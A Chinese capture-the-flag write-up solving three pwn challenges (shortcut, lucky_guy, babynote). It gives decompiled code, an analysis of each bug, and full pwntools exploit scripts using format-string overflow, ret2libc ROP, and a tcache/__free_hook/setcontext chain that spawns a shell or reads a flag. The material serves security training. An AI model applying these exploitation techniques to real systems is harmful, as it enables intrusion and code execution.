三个pwn题

目录

shortcut

lucky_guy

babynote


shortcut

这个题表面上是个堆题,实际上跟堆关系不大,是个格式化字符漏洞的题。

主程序是菜单有4个功能:add,free,show,run

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        v3 = menu();
        if ( v3 != 2 )
          break;
        list();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      add();                                    // formatstr
    }
    if ( v3 == 3 )
    {
      delete();                                 // 可以越界
    }
    else
    {
      if ( v3 != 4 )
LABEL_13:
        die();
      run();
    }
  }
}

add函数这里有个漏洞,由于读入是用的printf,所以很容易用%nc达到写溢出

unsigned __int64 add()
{
  int v1; // [rsp+8h] [rbp-38h] BYREF
  int i; // [rsp+Ch] [rbp-34h]
  char format[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; ; ++i )
  {
    if ( i > 4 )
    {
      puts("Too many shortcut!");
      die();
    }
    if ( !*((_QWORD *)&sc + i) )
      break;
  }
  *((_QWORD *)&sc + i) = malloc(0x28uLL);
  puts("the name of new shortcut:");
  read_safely(format, 0x1Eu);
  sprintf(*((char **)&sc + i), format);         // 少参数,printf漏洞
  puts("choose an operation:\n1. health code\n2. express\n");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    *(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = health_code;
  }
  else
  {
    if ( v1 != 2 )
    {
      puts("Wrong choice!");
      die();
    }
    *(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = express;
  }
  return __readfsqword(0x28u) ^ v4;
}

run函数。chunk尾部有一个指针,run的时候将利用这个指针显示。

unsigned __int64 run()
{
  int i; // [rsp+Ch] [rbp-34h]
  char s1[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Tell me the name of shortcut:");
  read_safely(s1, 0x1Eu);
  for ( i = 0; i <= 4; ++i )
  {
    if ( *((_QWORD *)&sc + i) && !strncmp(s1, *((const char **)&sc + i), 0x1DuLL) )
    {
      (*(void (__fastcall **)(_QWORD))(*((_QWORD *)&sc + i) + 32LL))(*((_QWORD *)&sc + i));// 执行+32处的指针
      return __readfsqword(0x28u) ^ v3;
    }
  }
  puts("No match!");
  return __readfsqword(0x28u) ^ v3;
}

另外程序本身将system引入,可以执行plt里的system

int treasure()
{
  return system("treasure");
}

由于有一个比较容易的溢出这里就好办了。

1,建一个块,让输入32个字符让它与指针直连,然后list的时候尾部带出指针,得到程序加载地址。

2,再建第2个块,删1再重建,通过写溢出将1的数据溢出到2的指针,覆盖为system,2的数据改为system

3, run(2)得到shell

from pwn import *

p = process('./shortcut')

libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./shortcut')
context(arch = 'amd64', log_level='debug')



menu = b"Please tell me your choice:\n"
def add(msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"the name of new shortcut:\n", msg)
    p.sendlineafter(b"choose an operation:\n1. health code\n2. express\n\n", b'1')

def show():
    p.sendlineafter(menu, b'2')

def run(msg):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Tell me the name of shortcut:\n", msg)

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Tell me the index of shortcut:\n", str(idx).encode())

add(b'%32c')
show()
p.recv(0x29)
pwn_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xb9c
elf.address = pwn_base
print('pwn:', hex(pwn_base))

system = pwn_base+ 0x988 #elf.plt('system')

add(b'aaa')
free(0)
add(b'%48c'+b'/bin/sh;'+b'%24c'+p64(system))  #覆盖第2个chunk内容为/bin/sh;指针为system

run(b'/bin/sh;'.ljust(0x1d,b' '))

p.interactive()

lucky_guy

这是一个溢出写ROP的题,题目没有开PIE,显然是可以利用题目里的地址进行ROP的题。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  void *v3; // rsp
  _BYTE v5[4]; // [rsp+0h] [rbp-1B0h] BYREF
  int v6; // [rsp+4h] [rbp-1ACh] BYREF
  int v7; // [rsp+8h] [rbp-1A8h] BYREF
  unsigned int seed; // [rsp+Ch] [rbp-1A4h]
  int v9; // [rsp+10h] [rbp-1A0h]
  int v10; // [rsp+14h] [rbp-19Ch]
  _BYTE *v11; // [rsp+18h] [rbp-198h]
  char v12[392]; // [rsp+20h] [rbp-190h] BYREF
  unsigned __int64 v13; // [rsp+1A8h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  v9 = 10;
  sub_400827();
  for ( seed = 0; (int)seed < v9; ++seed )
  {
    srand(seed);                                // seed已知,rand可以预测
    v10 = rand() % 100;
    puts("your number");
    __isoc99_scanf("%d", &v7);
    if ( v10 != v7 )
    {
      puts("fail");
      exit(0);
    }
  }
  puts("Congratulations you passed the first level!");
  puts("I believe you are a lucky guy.");
  puts("So, give me a size: ");
  __isoc99_scanf("%d", &v6);
  v3 = alloca(16 * ((v6 + 16 + 30LL) / 0x10uLL));// 移动rsp
  v11 = v5;
  sub_4008B9(v5, v6, v12);
  return 0LL;
}

main里先是让输入10个数,与随机数相同可进入下一步。由于seed用的数已知,所以rand是可预知的,可以写个小程序将10个数输出

#include <stdio.h>
#include <stdlib.h>

int main(){
    for ( int seed = 0; (int)seed < 10; ++seed ){ srand(seed); printf("%d\n", rand() % 100); }
}

10个数字通过后,会让输入一个数字,然后通过它进行一个alloca,这个看上去像函数的东西实际上不是函数,只是把运算结果赋值给rsp

.text:0000000000400A68 B8 10 00 00 00                mov     eax, 10h
.text:0000000000400A6D 48 83 E8 01                   sub     rax, 1
.text:0000000000400A71 48 01 D0                      add     rax, rdx
.text:0000000000400A74 BE 10 00 00 00                mov     esi, 10h
.text:0000000000400A79 BA 00 00 00 00                mov     edx, 0
.text:0000000000400A7E 48 F7 F6                      div     rsi
.text:0000000000400A81 48 6B C0 10                   imul    rax, 10h
.text:0000000000400A85 48 29 C4                      sub     rsp, rax

后面的函数会进行两次输入,

unsigned __int64 __fastcall sub_4008B9(void *a1, int a2, void *a3)
{
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("Your message: ");
  read(0, a1, a2);
  puts("Leave your name: ");
  read(0, a3, 0x30uLL);
  return __readfsqword(0x28u) ^ v5;
}

第一次写入v5这个与rsp关联,第二次是写v12这是个固定位置

所以这个题的漏洞就在于当输入负数,使rsp下移后,sub_4008B9的栈会下移跟主函数栈空间重叠。sub_4008B9的返回地址恰巧落在v12指针处时,就可以通过写入v12改写sub_4008B9的返回地址,在这里写ROP链。

具体操作:

from pwn import *

p = process('./lucky_guy')
elf = ELF('./lucky_guy')
libc_elf = ELF('/home/shi/libc/libc6_2.31/lib/x86_64-linux-gnu/libc-2.31.so')

context(arch='amd64', log_level='debug')

pop_rdi = 0x0000000000400b43 #: pop rdi ; ret

a = [83,83,90,46,1,75,41,77,96,15]

#第一次 puts(got_puts),start 获取libc
for i in a:
    p.sendlineafter(b"your number", str(i).encode())
payload = flat(0, pop_rdi+1, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400740) #start 
p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
p.sendafter(b"Leave your name: \n", payload)

libc_base = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

#第二次 system(/bin/sh)
for i in a:
    p.sendlineafter(b"your number", str(i).encode())
payload = flat(0, pop_rdi+1, pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system'], 0x400740) #start 
p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
p.sendafter(b"Leave your name: \n", payload)

p.interactive()

 这里由于题目没有给出libc,所以第一步执行得到一个puts的地址后,需要按尾3位确定libc版本,下载相应libc或者用偏移计算system和/bin/sh的地址,然后再进行下一步。

babynote

这是一个高版本(libc-2.31不太高)libc下seccomp禁用execve功能的ORW题。

漏洞:当对一个加密过的块进行show时,对数据起点标识“:”直接搜索,当输入的key里含“:”引起的写数据溢出。

先分别看下各个函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+Ch] [rbp-4h]

  sub_1369(a1, a2, a3);
  sub_152F();
  sub_1432();
  while ( 1 )
  {
    menu();
    v4 = get_int();
    if ( v4 == 5 )
      break;
    if ( v4 <= 5 && v4 > 0 )
    {
      switch ( v4 )
      {
        case 4:
          m4encrypt();
          break;
        case 3:
          m3free();
          break;
        case 1:
          m1add();
          break;
        default:
          m2show();
          break;
      }
    }
    else
    {
      printf("wrong choice");
    }
  }
  return 5LL;
}

main里有4个功能模块:add,show,free,enc

int m1add()
{
  __int64 v0; // rax
  int i; // [rsp+8h] [rbp-8h]
  int v3; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i < dword_5010 && qword_5060[i]; ++i )
    ;
  LODWORD(v0) = dword_5010;
  if ( i < dword_5010 )
  {
    printf("size: ");
    v3 = get_int();
    if ( v3 > dword_5014 || v3 <= 0 )
    {
      printf("wrong note size");
      exit(0);
    }
    qword_5060[i] = malloc(v3);
    v0 = qword_5060[i];
    if ( v0 )
    {
      printf("content: ");
      sub_15A9(qword_5060[i], v3, 10);
      LODWORD(v0) = puts("done");
    }
  }
  return v0;
}

add限制最大f8,指针区没有问题,read数据没有溢出,而且尾部加\0非常安全

unsigned __int64 m2show()
{
  int i; // [rsp+0h] [rbp-40h]
  int v2; // [rsp+4h] [rbp-3Ch]
  int v3; // [rsp+8h] [rbp-38h]
  unsigned int n; // [rsp+Ch] [rbp-34h]
  char *n_4; // [rsp+10h] [rbp-30h]
  void *dest; // [rsp+18h] [rbp-28h]
  char buf[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  printf("index: ");
  v3 = get_int();
  if ( v3 < 0 || v3 >= dword_5010 )
  {
    puts("wrong note index");
    exit(0);
  }
  if ( qword_5060[v3] )
  {
    if ( dword_50E0[v3] == 1 )
    {
      v2 = 0;
      for ( i = 0; i <= 2; ++i )
      {
        printf("encrypt key: ");
        read(0, buf, 0xEuLL);
        if ( !memcmp(buf, (const void *)qword_5060[v3], 0xEuLL) )
        {
          v2 = 1;
          break;
        }
        puts("wrong encrypt key");
      }
      if ( !v2 )
      {
        puts("Please contact administrator to reset password");
        exit(0);
      }
      n_4 = strchr((const char *)qword_5060[v3], 58);
      n = strlen(n_4);
      dest = malloc(dword_5014);
      memcpy(dest, n_4, n);
      printf("content %s\n", (const char *)dest);
      free(dest);
    }
    else
    {
      printf("content: %s\n", (const char *)qword_5060[v3]);
    }
  }
  return __readfsqword(0x28u) ^ v8;
}

show的时候对enc过的先判断key是否正确,再找到“:”(数据起点标记)然后建个f8的块写入数据。这里如果在key里包含“:”则得到的数据长度就会超过f8从而写溢出。

_DWORD *m3free()
{
  _DWORD *result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  v1 = get_int();
  if ( v1 < 0 || v1 >= dword_5010 )
  {
    puts("wrong note index");
    exit(0);
  }
  result = (_DWORD *)qword_5060[v1];
  if ( result )
  {
    free((void *)qword_5060[v1]);
    qword_5060[v1] = 0LL;
    result = dword_50E0;
    dword_50E0[v1] = 0;
  }
  return result;
}

free函数里free后清理指针和数据块尺寸,没有UAF,也没有溢出。

unsigned __int64 m4encrypt()
{
  size_t v0; // rax
  int v1; // eax
  size_t v2; // rax
  int v4; // [rsp+Ch] [rbp-54h]
  char *v5; // [rsp+20h] [rbp-40h]
  char v6[8]; // [rsp+40h] [rbp-20h] BYREF
  __int64 v7; // [rsp+48h] [rbp-18h]
  unsigned __int64 v8; // [rsp+58h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v7 = (unsigned int)time(0LL);
  printf("index: ");
  v4 = get_int();
  if ( v4 < 0 || v4 >= dword_5010 )
  {
    puts("wrong note index");
    exit(0);
  }
  if ( qword_5060[v4] )
  {
    if ( dword_50E0[v4] == 1 )
    {
      puts("the note has been encrypted");
    }
    else
    {
      printf("encrypt key: ");
      read(0, v6, 0x10uLL);
      v0 = strlen((const char *)qword_5060[v4]);
      v5 = (char *)malloc(v0 + 21);
      srand(v7);
      v1 = rand();
      *(_DWORD *)v5 = v1 + (v1 == -1);
      memcpy(v5 + 4, v6, 0xAuLL);
      v5[14] = 58;
      v2 = strlen((const char *)qword_5060[v4]);
      memcpy(v5 + 15, (const void *)qword_5060[v4], v2);
      free((void *)qword_5060[v4]);
      qword_5060[v4] = v5;
      dword_50E0[v4] = 1;
      puts("done");
    }
  }
  return __readfsqword(0x28u) ^ v8;
}

enc函数先读入key然后随机生成一个数字作为id,然后按原数据长度+21申请新块将数据复制进去,然后把原块free。

这里有个漏洞:当读入key时v6定义的是8字节,后边是v7,后边用v7来初始化rand种子,而读入v6时可以读入16字节。所以可以用key覆盖v7从而控制种子预测生成的随机数。

加密chunk的结构:id:4 key:10 数据标志符chr(58) data:n 

由于在key里可以写入标志,所以溢出最大可以是10字节。当溢出覆盖下个chunk的头后字符串没有结束\0就可以输入下个chunk的fd从而泄露heap和libc

由于有种种限制,所以要先规划一个行当的chunk布局

思路:

  1. 建第1个F8,然后加密:释放第1个f8使用120
  2. 通过设置key里:的位置便show时写入到2的数据溢出,覆盖3的头(3提前释放到tcache)得到堆地址
  3. 先清理相应块,然后再利用同样方法,先将5释放到unsort,4是最后一个tcache里的F8 通过4show里覆盖5的头得到unsort指针,得到libc
  4. 同理通过6覆盖7的头,修改7的size使其实包含8利用重叠块进行tcache Attack从而达到任意地址写。
  5. 由于有seccomp所以这里作ORW
  6. 先控制tcache+0x90将0x100,0xf0两个指针改为 free_hook和free_hook+0xf8将来写连续的数据(理论上讲这两个块是有重叠的,第2个块没有头,从而两个块写入的数据是连续的)
  7. 原理比较复杂,内容是从原来作过的题上复制的。

通过free_hook写ORW,free_hook内容

  1. gadget_addr: 
  2. fake_frame_addr: free_hook+0x10
  3. frame前一半0x20
  4. frame中间插入setcontext+61
  5. frame后部0x28起填充到0xf8
  6. 文件名
  7. rop_ORW

最后翻译free_hook这个块

from pwn import *

local = 1
if local == 1:
    p = process('./babynote')
    libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')  #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
else:
    p = remote('node4.buuoj.cn', 26429) 
    libc_elf = ELF('./libc.so') #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.

elf = ELF('./babynote')
context.arch = 'amd64'
#context.log_level = 'debug'

menu = b'>> '
def add(size, msg=b'A'):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendlineafter(b"content: ", msg)

def show(idx, key):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendafter(b"encrypt key: ", key)

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"index: ", str(idx).encode())

def enc(idx, key):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendafter(b"encrypt key: ", key)

#f8,118,f8*4,18*3,f8*6 
add(0xf8, b'A'*0xf7)
enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671 
#         1    2                          7                 10                        15
for i in [0xf8,0xf8,0xf8,0xf8,0xf8, 0xf8, 0x18, 0x18, 0x18, 0xf8,0xf8,0xf8,0xf8,0xf8,0xe0]:
    add(i)

for i in [4,3,2]:
    free(i)
show(0, p32(2046264671)+b'AA:BBBBB00')
p.recv(0x108)
heap_base = u64(p.recv(6)+ b'\x00\x00') - 0x6c0
print('heap:', hex(heap_base))

free(0)
free(1)
add(0xf8, b'A'*0xf7)
enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671 
add(0xf8)  #1

add(0xf8)  #2
add(0xf8)  #3
add(0xf8)  #4

for i in [10,11,12,13,14,6,4,5]:   #tcache 4->6->... 5:unsort
    free(i)
show(0, p32(2046264671)+b'AA:BBBBB00')
p.recv(0x108)
libc_base = u64(p.recv(6)+ b'\x00\x00') - 0x60 - 0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
add(0xf8)  #4

free_hook   = libc_elf.sym['__free_hook']
_environ    = libc_elf.sym['_environ']
setcontext  = libc_elf.sym['setcontext']
syscall     = next(libc_elf.search(asm("syscall; ret")))

pop_rdi     = next(libc_elf.search(asm("pop rdi; ret")))
pop_rsi     = next(libc_elf.search(asm("pop rsi; ret")))
pop_rdx_r12 = next(libc_elf.search(asm("pop rdx; pop r12; ret")))
pop_rax     = next(libc_elf.search(asm("pop rax; ret")))
jmp_rsp     = next(libc_elf.search(asm("jmp rsp")))

#gadget
#0x00000000001518b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget_addr= libc_base + 0x00000000001518b0


free(0)
free(1)
add(0xf8, b'A'*0xf7)
enc(0, b'AABBBBBB'+ b'0:'+b'\x00'*6) #872146168
add(0xf8)  #1
show(0, p32(872146168) + b'AABBBBBB'+ b'0:')

for i in [9,8,7]: #7[8]
   free(i)
add(0x38, flat(0,0,0,0x21, heap_base+0xf0)) #5

free(15)

context.log_level = 'debug'

add(0x18, b'A')
add(0x18, flat(0, free_hook+0xf8, free_hook)[:-1])

#orw
fake_frame_addr = free_hook + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1  # : ret


rop_data = [
    libc_elf.sym['open'],
    pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc_elf.sym['read'],
    pop_rdi,fake_frame_addr + 0x200,libc_elf.sym['puts']
    ]

frame_data = flat(frame).ljust(0xf8, b'\x00')
payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'flag\x00\x00\x00\x00',0)+flat(rop_data)
print('len(payload)', hex(len(payload[0xf8:])))

add(0xf8, payload[:0xf7]) #8
add(0xe0, payload[0xf8:]) #9
free(8)

p.recv()
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值